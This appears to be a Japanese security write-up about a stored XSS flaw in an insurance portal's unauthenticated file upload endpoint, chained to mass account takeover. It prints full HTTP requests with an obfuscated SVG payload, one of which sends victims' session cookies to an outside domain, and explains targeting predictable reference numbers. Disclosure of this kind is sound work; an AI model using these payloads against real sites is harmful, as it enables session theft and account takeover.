ソース:
内容:
保険金請求や本人確認といった機密文書を扱うために設計されたプラットフォームが、攻撃者にとっての金鉱と化す様子を想像してみてください。
保険関連ポータルのファイルアップロード機能を調べていた時に、まさにそんな状況に遭遇しました。最初は簡単なテストだったものが、クロスサイトスクリプティング(XSS)の脆弱性へと発展し、大量のアカウント乗っ取りにつながる恐れがありました。
エントリーポイント
このシステムでは、ユーザーがフォームのバックアップとしてファイルをアップロードできるようになっています。
これはこの種のプラットフォームではよくある機能です。
ファイルを送信すると、参照番号( refNo )(例えば、 R2326400539 )にリンクされ、後から別のページで確認できるようになります。 ジョンというユーザーの場合は
https://[redacted].com/xxx.asp?refNo= R2326400539
表面的には特に変わったところはない。
しかし、アップロードリクエストを覗いてみると、 fileUidList というパラメータ、つまりファイルのメタデータを定義する文字列があるのに気づいた。
リクエストを作成し、 fileUidList にXSSペイロードを仕込み、 有効な参照番号(R2326400540 パラメータで njfbRefNo など)に紐付けました。
サーバーは動じることなく、改ざんされたアップロードファイルを丸ごと飲み込んでしまいました。
導火線に火をつける
シンプルなアラートをトリガーするために使用したリクエストは次のとおりで。
```
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"
R2326400540
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"
104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"
10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
```
サーバーは200 Okを応答し、XSSペイロードは refNo R2326400540に保存されました。
https://[redacted].com/xxx.asp?refNo=R2326400540
XSSからアカウント乗っ取りまで
悪意のあるファイルがユーザーの参照IDに保存されたことで、私は気づきました。
これは過去、現在、そして未来のユーザーを問わず、誰でも標的にできる可能性がある、と。
これらの参照番号は数値であり予測可能なため、攻撃者は体系的に攻撃を仕掛けることができます。
さらに良いことに(あるいは悪いことに)、セッションCookie(ここでは SESSIONID と呼びましょう)はHTTP専用としてフラグ付けされておらず、JavaScriptによって盗み取られる可能性がありました。
新たなペイロードでさらに攻撃を強化しました。
今回は、 fileUidList を 設定して、被害者のブラウザを私が管理するドメインにリダイレクトし、URL に Cookie を追加します。リクエストは以下のとおりです。
```
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"
R2326400551
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"
104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"
10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='//bxmbn.com/?'+b+cookie+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
```
という名前でアップロードし R2326400551 、ビューページを読み込んでサーバーを確認しました。
案の定、Johnの SESSIONIDが ログに残っていました。
このトークンを使えば、パスワードなしで彼のアカウントに侵入できます。
これを全ユーザーに展開すれば、乗っ取りの嵐が巻き起こるでしょう。
キッカー:認証は不要
本当の衝撃はこれです。
アップロードエンドポイントは私がログインしているかどうかを全く気にしませんでした。
これらのリクエストを匿名で送信し、認証なしで誰のファイルにもXSSを注入することができました。
セッション検証もアクセスチェックも一切なく、ただ開かれた招待状を送るだけです。これだけでも悪夢です。
フォールアウト
その影響は甚大です。
予測可能なIDとセッションCookieにHTTPのみの保護がないため、攻撃者はこれを自動化できます。
つまり、一連の参照番号に悪意のあるファイルをアップロードし、被害者が接続を切断するのを待つのです。
閲覧ページにアクセスするたびにセッションが引き継がれ、大規模なアカウント乗っ取りにつながる可能性があります。
アカウントの盗難、データの改ざん、あるいはそれ以上の事態に発展する可能性もあります。
アップロードエンドポイントの認証が不十分であることが、この脆弱性を決定づけています。
アカウントは不要で、接続と参照IDさえあれば実行できます。
今後のアップロードにも同じ欠陥が引き継がれるため、この脆弱性はプラットフォームに永続的に影響を及ぼす可能性があります。
ほなほな。